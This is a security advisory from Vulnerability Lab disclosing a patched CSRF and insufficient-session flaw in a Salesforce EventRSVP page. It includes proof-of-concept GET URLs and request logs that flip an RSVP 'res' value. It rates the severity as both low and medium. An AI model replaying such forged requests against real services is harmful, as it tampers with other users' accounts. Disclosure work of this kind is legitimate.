Salesforce Force (EventRSVP) - Multiple Web Vulnerabilities

Document Title:
===============
Salesforce Force (EventRSVP) - Multiple Web Vulnerabilities


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2057


Release Date:
=============
2018-01-03


Vulnerability Laboratory ID (VL-ID):
====================================
2057


Common Vulnerability Scoring System:
====================================
3


Vulnerability Class:
====================
Multiple


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
Salesforce.com is an American cloud computing company headquartered in San Francisco, California. 
Though its revenue comes from a customer relationship management (CRM) product, Salesforce also 
capitalizes on commercial applications of social networking through acquisition. As of early 2016, 
it is one of the most highly valued American cloud computing companies with a market capitalization 
above $55 billion, although the company has never turned a GAAP profit in any fiscal year since its 
inception in 1999.

(Copy of the Homepage: https://en.wikipedia.org/wiki/Salesforce.com )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple vulnerabilities in the official Salesforce force online service web-application.


Vulnerability Disclosure Timeline:
==================================
2018-01-03: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Low


Technical Details & Description:
================================
A insufficient session -and cross site request forgery vulnerability has been discovered in the Salesforce force web-application.

The EventRegistration with the EventRSVP allows to manipulate the res parameter.  Normally the session must check that 
an user account has been removed in the abo. Attackers can randomly switch the mode without any restriction as permission. 
The issue reflects with an insufficient session vulnerability in connection with a cross site request forgery bug.
The request method to exploit is GET and the attack vector is located on the client-side of the online service application.

Request Method(s):
[+] GET

Vulnerable Module(s):
[+] ./EventRegistration/EventRSVP

Vulnerable Parameter(s):
[+] res


Proof of Concept (PoC):
=======================
The insufficient session vulnerability and cross site request forgery issue can be exploited by remote attackers without 
privilege web-application user account and with low or medium user interaction. For security demonstration or to reproduce 
the vulnerability follow the provided information and steps below to continue.


Url(s):
https://youtube.secure.force.com/EventRegistration/EventRSVP?id=a1M8000000DcajMEAR&res=no
https://youtube.secure.force.com/EventRegistration/EventRSVP?id=a1M8000000DcajMEAR&res=yes


--- PoC Session Logs [GET] ---
Status: 200 OK
GET https://youtube.secure.force.com/EventRegistration/EventRSVP?id=a1M8000000DcajMEAR&res=no 
Mime Type[unknown]
   Request Header:
      Host[youtube.secure.force.com]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Cookie[BrowserId=yf2WarnQR-SujEQGqQc8aQ]
-
Status: 200 OK
GET https://youtube.secure.force.com/EventRegistration/EventRSVP?id=a1M8000000DcajMEAR&res=yes 
Mime Type[unknown]
   Request Header:
      Host[youtube.secure.force.com]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Cookie[BrowserId=yf2WarnQR-SujEQGqQc8aQ]
-
Status: 200 OK
GET https://youtube.secure.force.com/EventRegistration/EventRSVP?id=a1M8000000DcajMEAR&res=no 
Mime Type[unknown]
   Request Header:
      Host[youtube.secure.force.com]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Cookie[BrowserId=yf2WarnQR-SujEQGqQc8aQ]
-
Status: 200 OK
GET https://youtube.secure.force.com/EventRegistration/EventRSVP?id=a1M8000000DcajMEAR&res=yes 
Mime Type[unknown]
   Request Header:
      Host[youtube.secure.force.com]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Cookie[BrowserId=yf2WarnQR-SujEQGqQc8aQ]


Reference(s):
https://youtube.secure.force.com/
https://youtube.secure.force.com/EventRegistration/
https://youtube.secure.force.com/EventRegistration/EventRSVP


Solution - Fix & Patch:
=======================
The vulnerability has been resolved as separate issue by the salesforce security team in 2017.


Security Risk:
==============
The security risk of the insufficient session -and cross site request forgery vulnerability in the web-application is estimated as medium. (CVSS 3.0)


Credits & Authors:
==================
Vulnerability Laboratory [Core Research Team] ([email protected]) [www.vulnerability-lab.com]


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=========================
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